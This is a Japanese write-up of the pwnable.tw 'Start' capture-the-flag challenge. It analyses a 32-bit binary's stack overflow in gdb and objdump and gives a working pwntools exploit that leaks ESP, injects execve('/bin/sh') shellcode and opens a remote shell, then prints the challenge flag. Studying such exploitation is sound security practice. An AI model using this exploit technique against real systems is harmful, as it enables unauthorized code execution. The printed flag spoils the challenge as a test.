pwnable.tw writeup
pwnable.twを解いていきます。解けなくても解法はまとめます。
Start
Just a start.
nc chall.pwnable.tw 10000
調査
実行ファイルが与えられる。
file start
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
実行してみると、文字列が入力できることがわかる。たくさん文字を入力するとSegmentation fault
が発生する。
# ./start
Let's start the CTF:
# ./start
Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
gdbで実行してみる。試しに50文字入力してみるとEIPが書き換えられる。
# gdb -q start
gdb-peda$ pattc 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: /ctf/Start/start
Let's start the CTF:AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x33 ('3')
EBX: 0x0
ECX: 0xffffd7b4 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n\377:\331\377\377E\331\377\377Q\331\377\377`\331\377\377k\331\377\377v\331\377\377\275\331\377\377\237\337\377\377\301\337\377\377\320\337\377\377\331\337\377\377")
EDX: 0x3c ('<')
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffffd7cc ("(AADAA;AA)AAEAAaAA0AAFAAbA\n\377:\331\377\377E\331\377\377Q\331\377\377`\331\377\377k\331\377\377v\331\377\377\275\331\377\377\237\337\377\377\301\337\377\377\320\337\377\377\331\337\377\377")
EIP: 0x41412d41 ('A-AA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41412d41
[------------------------------------stack-------------------------------------]
0000| 0xffffd7cc ("(AADAA;AA)AAEAAaAA0AAFAAbA\n\377:\331\377\377E\331\377\377Q\331\377\377`\331\377\377k\331\377\377v\331\377\377\275\331\377\377\237\337\377\377\301\337\377\377\320\337\377\377\331\337\377\377")
0004| 0xffffd7d0 ("AA;AA)AAEAAaAA0AAFAAbA\n\377:\331\377\377E\331\377\377Q\331\377\377`\331\377\377k\331\377\377v\331\377\377\275\331\377\377\237\337\377\377\301\337\377\377\320\337\377\377\331\337\377\377")
0008| 0xffffd7d4 ("A)AAEAAaAA0AAFAAbA\n\377:\331\377\377E\331\377\377Q\331\377\377`\331\377\377k\331\377\377v\331\377\377\275\331\377\377\237\337\377\377\301\337\377\377\320\337\377\377\331\337\377\377")
0012| 0xffffd7d8 ("EAAaAA0AAFAAbA\n\377:\331\377\377E\331\377\377Q\331\377\377`\331\377\377k\331\377\377v\331\377\377\275\331\377\377\237\337\377\377\301\337\377\377\320\337\377\377\331\337\377\377")
0016| 0xffffd7dc ("AA0AAFAAbA\n\377:\331\377\377E\331\377\377Q\331\377\377`\331\377\377k\331\377\377v\331\377\377\275\331\377\377\237\337\377\377\301\337\377\377\320\337\377\377\331\337\377\377")
0020| 0xffffd7e0 ("AFAAbA\n\377:\331\377\377E\331\377\377Q\331\377\377`\331\377\377k\331\377\377v\331\377\377\275\331\377\377\237\337\377\377\301\337\377\377\320\337\377\377\331\337\377\377")
0024| 0xffffd7e4 --> 0xff0a4162
0028| 0xffffd7e8 --> 0xffffd93a ("HOME=/root")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41412d41 in ?? ()
以下から21文字目から4バイトがEIPとなっていることがわかる。
gdb-peda$ patto 'A-AA'
A-AA found at offset: 20
objdumpで逆アセンブルしてみる。
# objdump --no-show-raw-insn -M intel -d start
start: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: push esp
8048061: push 0x804809d
8048066: xor eax,eax
8048068: xor ebx,ebx
804806a: xor ecx,ecx
804806c: xor edx,edx
804806e: push 0x3a465443
8048073: push 0x20656874
8048078: push 0x20747261
804807d: push 0x74732073
8048082: push 0x2774654c
8048087: mov ecx,esp
8048089: mov dl,0x14
804808b: mov bl,0x1
804808d: mov al,0x4
804808f: int 0x80
8048091: xor ebx,ebx
8048093: mov dl,0x3c
8048095: mov al,0x3
8048097: int 0x80
8048099: add esp,0x14
804809c: ret
0804809d <_exit>:
804809d: pop esp
804809e: xor eax,eax
80480a0: inc eax
80480a1: int 0x80
0x0804806e
~0x08048082
でLet's start CTF:
をスタックに格納する。また、0x8048089
~0x804808f
でcall命令を実行する。ここでは、ecx(=esp)を先頭アドレスとした文字列を0x14(=20)バイト分write(eaxが0x04)する。つまり、標準出力にLet's start CTF:
を出力する。
また、0x8048091
~0x8048097
でcall命令を実行する。ここでは、標準入力から(ebxが0x00)、60バイト分(edxが0x3c=60)read(eaxが0x03)する。
20バイトしか書き込めないにもかかわらず、60バイトreadする部分が脆弱性となる。20バイトより多く文字を入力すると、0x804809c
でretした際にジャンプする先のアドレス(0x8048061
でpushしている0x804809d
)が書き変わってしまう。
エクスプロイト
EIPを書き換えることで任意のシェルコードを実行するために、以下をひとまとめにした文字列を送信する必要がある。
- 適当な20文字
- シェルコードの先頭アドレス
- /bin/shを起動するシェルコード
アドレス空間のランダム化(ASLR)が有効となっているため、スタック領域の配置がstart実行ごとに変わってしまう。そのため、スタック領域に書き込むシェルコードの先頭アドレスを事前に取得することはできない。つまり、_start関数の実行中に、スタック領域のアドレス、espやebpを取得する必要がある。
そこで、0x8048060
のespをスタックにpushしている部分に着目する。これとEIP書き換えによる任意アドレスへのジャンプを利用して、0x8048087
~0x804808f
の20バイト分write()を実行し、start実行時のESPを標準出力に出力する。
あとは、シェルコードの先頭アドレスであるが、start実行時のESP+20バイトのアドレスがシェルコードの先頭アドレスとなる。
以下、solver。
from pwn import *
def leak_esp(r):
address_1 = p32(0x08048087) # mov ecx, esp; mov dl, 0x14; mov bl, 1; mov al, 4; int 0x80;
payload = b"A"*20 + address_1
print(r.recvuntil('CTF:'))
r.send(payload)
esp = u32(r.recv()[:4])
print("Address of ESP: ", hex(esp))
return esp
shellcode = asm('\n'.join([
'push %d' % u32('/sh\0'),
'push %d' % u32('/bin'),
'xor edx, edx',
'xor ecx, ecx',
'mov ebx, esp',
'mov eax, 0xb',
'int 0x80',
]))
if __name__ == "__main__":
context.arch = 'i386'
r = remote('chall.pwnable.tw', 10000)
esp = leak_esp(r)
payload = b"A"*20 + p32(esp + 20) + shellcode
r.send(payload)
r.interactive()
# python3 solver.py
solver.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
'push %d' % u32('/sh\0'),
solver.py:15: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
'push %d' % u32('/bin'),
[+] Opening connection to chall.pwnable.tw on port 10000: Done
solver.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
print(r.recvuntil('CTF:'))
b"Let's start the CTF:"
Address of ESP: 0xffac1210
[*] Switching to interactive mode
$
$ pwd
/
$ cd /home/start
$ ls
flag
run.sh
start
$ cat flag
FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}